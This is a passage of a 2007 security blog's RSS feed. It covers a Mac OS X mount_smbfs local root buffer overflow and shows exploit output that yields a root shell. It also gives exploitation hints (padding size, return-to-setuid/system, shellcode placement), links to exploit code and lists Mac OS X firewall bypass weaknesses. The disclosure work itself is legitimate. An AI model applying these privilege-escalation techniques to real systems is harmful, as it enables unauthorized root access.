Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
Mapping shellcode from file via shared_region_map_file_np()...
Shellcode mapped: mapping starts at 0x9ffff000, shellcode at 9fffff71
Payload size: 1064 (1040 padding bytes), Return address: 0x9fffff71
mount_smbfs: workgroup name 'AAAA...'
malcomx:/Users/nonpriv root# id
uid=0(root) gid=501(nonpriv) groups=501(nonpriv), 81(appserveradm), 79(appserverusr), 80(admin)
malcomx:/Users/nonpriv root# exit
exit</pre>
<p>It is available at our corporate public repository, as well as the <a href="http://www.milw0rm.com">Milw0rm</a> website.</p>
<ul>
<li><a href="http://static.subreption.com/public/exploits/mount_smbfs_root.c">Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit </a> (At Subreption public repository)</li>
<li><a href="http://www.milw0rm.com/exploits/4759" target="_blank" class="style15">Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit </a>(Mirror)</li>
<li>The original Ruby proof of concept: <a href="http://static.subreption.com/public/exploits/mount_smbfs_root.rb">mount_smbfs_root.rb</a></li>
</ul>
<p>Starting January 2008, our focus will be set on the development and polishing of a commercial exploit code and penetration-testing toolset, comprising several <strong>reliable</strong> exploits and tools to aid security professionals in penetration-tests, IDS and HIPS developers, as well as serving as an <strong>educational resource</strong> on exploit techniques, IDS evasion and general information security for the Mac OS X, Solaris, Linux and Microsoft Windows platforms, from a strictly technical perspective.</p>
<p>We are interested on partnerships with prospective security vendors and especially companies with strong focus on research and a <strong>consistent record</strong> of developing innovative, technically complex security work. For more information, you can contact us at <img src="http://blog.subreption.com/wp-content/uploads/2007/12/sales_email_intext.png" alt="Our sales email address" />. We will carefully examine all offers on a case-by-case basis.</p>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=IwIm1A"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=IwIm1A" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/203062255" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/</feedburner:origLink></item>
		<item>
		<title>Exploits of 1990: mount_smbfs brings it on</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/202803811/</link>
		<comments>http://blog.subreption.com/2007/12/19/exploits-of-1990-mount_smbfs-brings-it-on/#comments</comments>
		<pubDate>Wed, 19 Dec 2007 16:01:38 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[annoying]]></category>

		<category><![CDATA[exploits]]></category>

		<category><![CDATA[mac]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/2007/12/19/exploits-of-1990-mount_smbfs-brings-it-on/</guid>
		<description><![CDATA[Who doesn&#8217;t remember those old root setuid binaries with argument parsing stack buffer overflows, the days when sudo had trivially exploitable vulnerabilities and system administrators panicked at the sight of any setuid binary after a some advisory showed up on BUGTRAQ.  Apple had its share of bad luck with one of the latest Security [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.subreption.com/wp-content/uploads/2007/12/mount_smbfs-localroot.png" title="Initial development of the mount_smbfs local root exploit"><img src="http://blog.subreption.com/wp-content/uploads/2007/12/mount_smbfs-localroot.thumbnail.png" alt="Initial development of the mount_smbfs local root exploit" align="right" /></a>Who doesn&#8217;t <a href="http://osvdb.org/show/osvdb/8336">remember</a> <a href="http://marc.info/?l=bugtraq&amp;m=87602661419318&amp;w=2">those</a> <a href="http://osvdb.org/show/osvdb/8519">old</a> <a href="http://osvdb.org/show/osvdb/9598">root setuid binaries</a> with <a href="http://www.google.com/search?hl=en&amp;q=argument+stack+buffer+overflow">argument parsing stack buffer overflows</a>, the days when <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0184">sudo had trivially exploitable vulnerabilities</a> and system administrators panicked at the sight of any setuid binary after a some advisory showed up on BUGTRAQ.  Apple had its share of <a href="http://seclists.org/fulldisclosure/2007/Dec/0445.html">bad luck</a> with <a href="http://docs.info.apple.com/article.html?artnum=307179">one of the latest Security Updates</a> for Mac OS X. But it&#8217;s 2007, approaching 2008 already, not 1997!</p>
<p>Apparently, <strong>a regression</strong> was introduced into Tiger via one of the updates (in previous audits we didn&#8217;t find this binary to be affected by this vulnerability), and made the <code>mount_smbfs</code> root-setuid binary vulnerable to a trivially exploitable stack-based buffer overflow, which allows (<code>root</code>) privilege escalation for any user on the system.</p>
<p>The condition triggers when an overly long string is passed as parameter to the <code>-W</code> (workgroup name) option. Depending on how many registers you require, the padding size is approximately <code>1040+16</code> bytes for x86, to overwrite <code>eip</code>.</p>
<p>One of the requirements to abuse this issue properly is doing a <code>setuid(0)</code> call, in order to make the root privileges effective. There are different possibilities to successfully exploit this issue:</p>
<ul>
<li> Control <code>eax</code>, return to <code>setuid()</code>, with saved <code>eip</code> pointing at <code>system()</code> and argument set to shell of choice (ie. use the <code>SHELL</code> environment variable value).</li>
<li>Find a stable or almost stable location for your shellcode on dynamically allocated memory (in this case, heap memory). This might be tricky for this specific issue, since we are calling a command line tool that does very little use of <code>malloc()</code>.
<ul>
<li>You might notice some data replication in a <code>MALLOC_LARGE</code> section&#8230; it could be in Unicode format.</li>
<li>Play with sending large arguments to the command line, any changes?</li>
</ul>
</li>
<li>As we explained in previous posts, on PowerPC you don&#8217;t need to worry about bypassing NX stack: the stack is executable by default. It can&#8217;t be easier.</li>
</ul>
<p>Apple definitely needs to deploy some sort of <a href="http://blogs.msdn.com/sdl/">Secure Development Lifecycle</a>. Not because it was popularized <a href="http://msdn.microsoft.com/msdnmag/issues/05/11/SDL/">by Microsoft</a>, not because we want a cheap shot at Apple, but because<strong> it simply works</strong>. And <strong>we don&#8217;t agree with some</strong> security practices at Microsoft as well (namely <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/03/aslr_in_windows_vista.html">the ASLR of Vista</a>; while it&#8217;s more solid than Leopard&#8217;s, it&#8217;s still not enough for many real world scenarios — for in-depth documentation on the ASLR concept, read <a href="http://pax.grsecurity.net/docs/aslr.txt">its PaX project documentation</a>).</p>
<p>Don&#8217;t call it SDL. Make it the “Apple Secure Development <em>iLifecycle</em>”. But please, security updates <strike>also</strike> need to be tested against a regression test suite! We really enjoy using iWorks 2008 but we don&#8217;t like vulnerable root-setuid binaries.</p>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=gBv7CP"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=gBv7CP" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/202803811" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2007/12/19/exploits-of-1990-mount_smbfs-brings-it-on/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2007/12/19/exploits-of-1990-mount_smbfs-brings-it-on/</feedburner:origLink></item>
		<item>
		<title>Other weaknesses of the Mac OS X firewall</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/201927527/</link>
		<comments>http://blog.subreption.com/2007/12/17/other-weaknesses-of-the-mac-os-x-firewall/#comments</comments>
		<pubDate>Tue, 18 Dec 2007 00:22:44 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[exploits]]></category>

		<category><![CDATA[mac]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/2007/12/17/other-weaknesses-of-the-mac-os-x-firewall/</guid>
		<description><![CDATA[After taking a look over the Mac OS X firewall (which has been criticized by several people already), we&#8217;ve detected several weaknesses (which could be considered design flaws, although abusing them is technically feasible and uncomplicated):



There&#8217;s no protection against process-level threats: code injection and subverting processes already trusted by the firewall are completely possible.

There has [...]]]></description>
			<content:encoded><![CDATA[<p>After taking a look over the Mac OS X firewall (<a href="http://secunia.com/advisories/27695/">which</a> <a href="http://www.heise-security.co.uk/news/98492">has been</a> <a href="http://www.theregister.co.uk/2007/11/06/leopard_firewall_skype_problems/">criticized</a> by several people <a href="http://www.heise-security.co.uk/articles/98120">already</a>), we&#8217;ve detected several weaknesses (which could be considered design flaws, although abusing them is technically feasible and uncomplicated):</p>
<p><a href="https://blog.subreption.com/wp-content/uploads/2007/12/macfirewall-allowconns.png" title="Mac OS X firewall allowing connections through different script interpreters"></a></p>
<p style="text-align: center"><a href="http://blog.subreption.com/wp-content/uploads/2007/12/macfirewall-allowconns.png" title="Mac OS X firewall allowing connections through different script interpreters"><img src="http://blog.subreption.com/wp-content/uploads/2007/12/macfirewall-allowconns.png" alt="Mac OS X firewall allowing connections through different script interpreters" height="299" width="489" /></a></p>
<ol>
<li>There&#8217;s no protection against process-level threats: code injection and subverting processes already trusted by the firewall are completely possible.
<ol>
<li>There has been research in other platforms about the implications of injecting code in the context of a trusted process to bypass the firewall (<a href="http://www.noxusfiles.com/defcon.ppt">see</a> <a href="http://video.google.com/videoplay?docid=-9037564295891141728">Advanced Windows Firewall Subversion</a>, also <a href="http://www.phrack.org/issues.html?issue=62&amp;id=13&amp;mode=txt">Phrack 62: Using Process Infection to Bypass Windows Software Firewalls</a>).
<ol>
<li>Mac OS X has several interfaces allowing process interaction at low-level.</li>
<li>Ability to load code dynamically is present for all processes in the system.</li>
<li>Apparently, <strong>runtime</strong> code manipulation wasn&#8217;t contemplated by Apple as a <em>potential</em> security issue.
<ol>
<li>No integrity checks done, signing a binary image is <strong>not enough</strong> if it can be tampered on memory later!</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li> It works on communication direction basis: inbound, outbound. No way to control what happens in a fine-grained manner.
<ol>
<li>The Ruby, Python or Perl interpreters bind a socket to listen for connections, and you allow it through the firewall. What&#8217;s wrong with that?
<ol>
<li><a href="http://archive.fosdem.org/2007/slides/maintracks/metasploit.pdf">Metasploit</a> includes PHP payloads: remote access with the privileges of the user running the interpreter.</li>
<li>Any script will be able to perform network operations within the limits of the firewall configuration: by default, allow <strong>incoming</strong> connections.
<ol>
<li>In other words, an attacker will be able to trivially bypass the firewall using a script interpreter like Ruby.</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
</ol>
<p>We are working towards developing a proof of concept demonstrating these issues (and other nice tricks) in technical detail; until that happens, stay tuned and enjoy the Christmas holidays <img src='http://blog.subreption.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=HfXngk"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=HfXngk" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/201927527" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2007/12/17/other-weaknesses-of-the-mac-os-x-firewall/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2007/12/17/other-weaknesses-of-the-mac-os-x-firewall/</feedburner:origLink></item>
	</channel>
</rss>
